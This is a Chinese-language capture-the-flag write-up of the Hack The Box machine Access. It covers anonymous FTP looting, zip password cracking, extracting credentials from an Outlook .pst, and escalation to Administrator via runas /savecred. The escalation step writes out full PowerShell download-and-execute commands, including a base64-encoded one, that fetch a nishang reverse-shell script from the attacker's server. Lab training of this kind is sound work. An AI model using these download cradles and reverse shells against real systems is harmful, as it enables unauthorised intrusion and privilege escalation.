出品|MS08067實驗室(www.ms08067.com)
本文作者:大方子(Ms08067實驗室核心成員)
Hack The Box是一個CTF挑戰靶機平臺,在線滲透測驗平臺,它能幫助你提升滲透測驗技能和黑盒測驗技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向于CTF風格的挑戰,
https://www.hackthebox.eu/

平臺上有很多靶機,從易到難,黑客每入侵一臺機器都會獲得相應積分,通過積分排名設有名人堂,今天要實驗的是靶機Access,

一.獲取普通用戶權限
首先我們用nmap探測下靶機的資訊,
nmap -sC -sV -T5 10.10.10.98

可以看到靶機開放了21,23,80埠,telnet后面有一個?說明nmap也不確定是否為telnet,這里我用msf來探測下FTP是否允許 匿名登陸,使用msf的/auxiliary/scanner/ftp/anonymous模塊,

FTP是運行匿名登陸的,那我們進行遠程登陸FTP看看有什么東西,

這里我用wget遞回下載FTP檔案,
wget -m ftp://anonymous:[email protected]

發現報錯 無法啟動PASV傳輸,那我們加個 --no-passive 使用FTP的被動模式,
wget -m --no-passive ftp://anonymous:[email protected]


下載成功!同樣我們試下Telnet是否能匿名登陸,

不存在匿名登陸,但是我也確定了23這個埠的是telnet,接下來在訪問下80埠,

我們download下這個圖片看看這個圖片是否存在隱藏的資訊,

先用exiftool查看是否存在圖片的其他資訊,

好像并沒有什么額外的資訊,再用strings查找下圖片的二進制里面是否有字串
strings out.jpg

也沒有發現什么額外的資訊,那我們接下來用gobuster進行目錄的爆破,
gobuster -u http://10.10.10.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

經過了挺久的時間,沒爆破出什么有用的資訊,我們去看下剛剛從FTP下載來的檔案,先解壓Engineer目錄下的Access Control.Zip檔案,

發生了一個錯誤,還7z來進行解壓,
7z x Access\ Control.zip

發現ZIP是需要密碼的,隨便輸入個密碼報錯,我們用7z 的l命令下的slt命令,
7z l -slt Access\ Control.zip
引數說明:
l:用于顯示壓縮檔案的資訊
Slt:屬于l下的子命令用來顯示壓縮檔案的技術資訊

壓縮檔案使用AES-256 Deflate進行加密的,我們把密碼的HASH提取出來到時候破解用,
zip2john Access\ Control.zip > Access\ Control.hash

我們在看下另一個檔案,

是一個access的資料庫檔案,里面應該會出現用于解壓壓縮檔案的密碼,你可以用工具打開查看里面的資料一個一個找找到需要的密碼,

還有一個更快捷的方法,因為密碼最低就是8位的,我們用過strings方法把mdb用二進制檔案的形式打開,然后只輸出內容大于等于8的內容,在把這些內容輸出成一個wordlist用來破解壓縮檔案,
strings -n 8 backup.mdb | sort -u > ../Engineer/wordlist
strings輸出的內容通過sort的-u引數去重,然后在輸出到檔案里面,

然后我們利用john開始破解

破解成功,這里可能不好找到密碼可以用這條命令顯示破解出的密碼,
john Access\ Control.hash --show

密碼: access4u@security
那接下來我們去解壓壓縮檔案,

解壓成功!!!

我們用file看下這個.pst是什么檔案

是一個outlook的個人檔案夾,我們用readpst來讀取下,然后目錄下面會多出一個Access Control.mbox檔案,

我們用
less Access Control.mbox

可以看到security的密碼:4Cc3ssC0ntr0ller,我們用獲得憑證去登陸telnet,
Security:4Cc3ssC0ntr0ller

登陸成功!然后CD到桌面查看user.txt即可得到user的flag,

二.獲取管理員權限
接下來就是怎么得到管理員權限,測驗下powershell是否能正常作業,

powershell正常的,那我們本地搭建一個簡易的HTTP服務器放上我們的powershell反彈shell腳本,讓靶機進行遠程下載執行反彈一個shell,
這里用nishang 這是一個基于Powershell的攻擊框架,專案地址: https://github.com/samratashok/nishang,
我們新建一個 www目錄 然后把nishang里面需要用的腳本copy進去,
cp ~/HTB/Access/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/HTB/Access/www/nishang.ps1

然后vi下編輯這個nishang.ps1,在最底下加上這行命令

Invoke-PowerShellTcp -Reverse -IPAddress 你的IP地址 -Port 監聽埠
然后我們用nc 監聽9001

接著用python開啟HTTP服務器

然后在目標靶機telnet上執行這段代碼,就是遠程執行powershell腳本,
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.13.147:8000/nishang.ps1')"

之后就會反彈一個shell

接下來我們在上傳一個腳本用來檢測Windows系統以提升權限,JAWS:https://github.com/411Hall/JAWS

我們在剛剛反彈的shell中去執行這個腳本,來檢測目標系統的資訊,
IEX(New-Object Net.WebClient).downloadString('http:// 10.10.13.147:8000/jaws-enum.ps1')

執行完成后會回傳一系列資訊,然后在這里查找有關資訊,這里我只截取憑證部分,

上面是電腦中存盤的憑證,當然你也可以用cmdkey /list 也會出現相關資訊,

在查找的程序中我在公共用戶的目錄里面找到一個快捷連接,

百度下具體資訊,

用type查看下內容,發現一些關鍵資訊

Runas并且帶有/savecred ,Runas的介紹:https://blog.csdn.net/nzjdsds/article/details/88312910,
這個就可以成為我們的利用點,但是用type獲得資訊雜亂無章,我們需用另一種方法來獲得更為詳細的整潔的輸出,這里我們用script腳本的創建快捷方式實作,
- $WScript = New-Object -ComObject Wscript.Shell
- $shortcut = Get-ChildItem *.lnk
- $Wscript.CreateShortcut($shortcut)


這里WScript用來系結Wscript.Shell的,然后Get-ChildItem *.lnk 就是跟dir差不多找出后綴為.lnk檔案(效果圖如下),

然后我們呼叫Wscript的CreateShortcut函式創建快捷方式來查看里面的lnk里面的詳細資訊,
這里我要說一下就是這里創建的快捷方式是存在記憶體里面的,在呼叫這個函式的SAVE函式之前,這個快捷方式是存在記憶體里面的,我們只是需要這個ZKAccess3.5Security System.lnk里面的詳細工整的資訊只是通過這個方式查看而已,

在這里面我們可以很清楚的看到runas 并且帶有savecred 引數,所以這邊我們runas的話可以不需要用戶的憑證,

但是runas之后沒有任何報錯,但是命令也沒有執行成功,應該是編碼的問題,接下來我們主要就是在這個shell中在runas反彈一個管理員權限的shell,
我們先在自己的Kali中監聽9002,然后把我們之前用于反彈的nishang.ps1重新復制一份為nishang2.ps1并編輯下把nishang2.ps1把監聽的埠改為9002
【這里由于靶機不是一天之內完成并寫好文章的,所以自己的IP地址后來變成10.10.12.114】
runas /user:ACCESS\Administrator /savecred "powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')""



這里我換了一種格式寫,發現我的python HTTP服務器出現了回應,但是9002并沒有回傳shell,
在這里猜測可能是編碼的問題,windows和linux采用的編碼不一樣,所以我們的命令需要轉換成windows能夠識別的編碼,這里我們用iconv和base64,這里轉碼要用UTF-16LE,
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
輸出內容:
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA=
然后我們執行下:
runas /user:ACCESS\Administrator /savecred "Powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA="

然后發現9002埠得到shell說明執行成功



到root的flag,
轉載請聯系作者并注明出處!
Ms08067安全實驗室專注于網路安全知識的普及和培訓,團隊已出版《Web安全攻防:滲透測驗實戰指南》,《內網安全攻防:滲透測驗實戰指南》,《Python安全攻防:滲透測驗實戰指南》,《Java代碼安全審計(入門篇)》等書籍,
團隊公眾號定期分享關于CTF靶場、內網滲透、APT方面技術干貨,從零開始、以實戰落地為主,致力于做一個實用的干貨分享型公眾號,
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社區
加入后邀請加入內部VIP群,內部微信群永久有效!
?
?
?
?
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/262003.html
標籤:其他
上一篇:淺談深度學習的落地問題
下一篇:淺談深度學習的落地問題
